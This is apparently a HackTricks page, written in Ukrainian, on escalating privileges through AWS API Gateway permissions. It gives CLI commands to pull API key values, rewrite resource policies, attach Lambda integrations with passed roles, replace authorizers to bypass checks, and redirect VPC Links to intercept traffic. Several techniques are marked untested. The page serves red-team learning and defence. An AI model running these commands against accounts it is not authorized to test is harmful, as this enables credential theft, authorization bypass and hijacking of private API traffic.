AWS - Apigateway Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Apigateway

Для додаткової інформації див.:

AWS - API Gateway Enum

apigateway:POST

З цим дозволом ви можете генерувати ключі API для налаштованих API (для кожного регіону).

bash
aws --region <region> apigateway create-api-key

Можливий вплив: Ви не зможете виконати privesc за допомогою цієї техніки, проте можете отримати доступ до конфіденційної інформації.

apigateway:GET

З цим дозволом ви можете отримати згенеровані API keys для налаштованих APIs (для кожного регіону).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potential Impact: Ви не можете privesc за допомогою цієї техніки, але можете отримати доступ до чутливої інформації.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

З цими дозволами можна змінити resource policy API, щоб надати собі можливість викликати його та зловживати потенційним доступом, який може мати API gateway (наприклад, викликом вразливої lambda).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potential Impact: Зазвичай ви не зможете безпосередньо privesc за допомогою цієї техніки, але можете отримати доступ до чутливої інформації.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

Потребує тестування

Зловмисник із дозволами apigateway:PutIntegration, apigateway:CreateDeployment та iam:PassRole може додати нову інтеграцію до існуючого API Gateway REST API з функцією Lambda, до якої прикріплено роль IAM. Потім зловмисник може ініціювати виконання функції Lambda для запуску довільного коду та потенційно отримати доступ до ресурсів, пов'язаних із ролею IAM.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: доступ до ресурсів, пов'язаних з Lambda function's IAM role.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

Потрібно протестувати

Зловмисник, який має дозволи apigateway:UpdateAuthorizer та apigateway:CreateDeployment, може змінити існуючий API Gateway authorizer щоб обійти перевірки безпеки або виконувати довільний код під час обробки API-запитів.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Можливий вплив: Обхід перевірок безпеки, несанкціонований доступ до API-ресурсів.

note

Потребує перевірки

Зловмисник, який має дозвіл apigateway:UpdateVpcLink, може змінити існуючий VPC Link, щоб він вказував на інший Network Load Balancer, потенційно перенаправляючи приватний трафік API до несанкціонованих або шкідливих ресурсів.

bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Потенційний вплив: Несанкціонований доступ до приватних API-ресурсів, перехоплення або порушення трафіку API.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks